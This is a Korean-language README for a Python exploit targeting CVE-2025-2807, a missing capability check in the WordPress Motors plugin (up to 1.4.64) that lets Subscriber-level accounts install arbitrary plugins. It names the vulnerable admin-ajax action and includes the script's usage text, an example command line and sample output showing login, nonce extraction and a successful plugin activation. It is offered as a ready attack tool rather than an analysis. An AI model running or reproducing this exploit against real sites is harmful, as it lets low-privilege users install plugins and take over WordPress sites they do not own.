
Wordpress - Motors Plugin <= 1.4.64 - 임의 플러그인 설치 취약점
익스플로잇 제공: Nxploited | Khaled Alenazi
플러그인: Motors (<= 1.4.64)
유형: 인증된 (Subscriber+) 사용자의 누락된 권한 확인으로 인한 임의 플러그인 설치
심각도: 8.8 (CVSS v3)
발견일: 2025년 4월 7일
VDP: 아니요
이 취약점을 통해 인증된 WordPress 사용자 (Subscriber+) 는 적절한 권한 확인 없이 임의의 플러그인을 설치할 수 있습니다.
mvl_setup_wizard_install_plugin 함수에서 기능 확인이 누락되어, 낮은 권한의 사용자가 관리자에게 예약된 작업을 수행할 수 있습니다.
📅 간단성과 심각한 영향으로 인해 대규모 익스플로잇이 예상됩니다.
/wp-admin/admin-ajax.phpmvl_setup_wizard_install_plugincurrent_user_can('install_plugins') 또는 유사한 권한 확인 누락이 스크립트는:
usage: CVE-2025-2807.py [-h] -u URL -un USERNAME -p PASSWORD [-pn PLUGIN]
Exploit For CVE-2025-2807 By: Nxploited | Khaled Alenazi
options:
-h, --help show this help message and exit
-u, --url URL Base URL of WordPress site
-un, --username USERNAME Subscriber username
-p, --password PASSWORD Subscriber password
-pn, --plugin PLUGIN Plugin to install (default: contact-form-7)
python3 CVE-2025-2807.py -u http://192.168.1.100/wordpress -un subscriber -p 123456 -pn contact-form-7
[*] Logging in...
[+] Logged in successfully.
[*] Fetching setup wizard page...
[+] Found nonce in HTML: 428cdf8347
[*] Attempting to install plugin: contact-form-7
[+] Plugin installation request sent successfully!
[+] Response: {"success":true,"data":"Plugin succesfully activated"}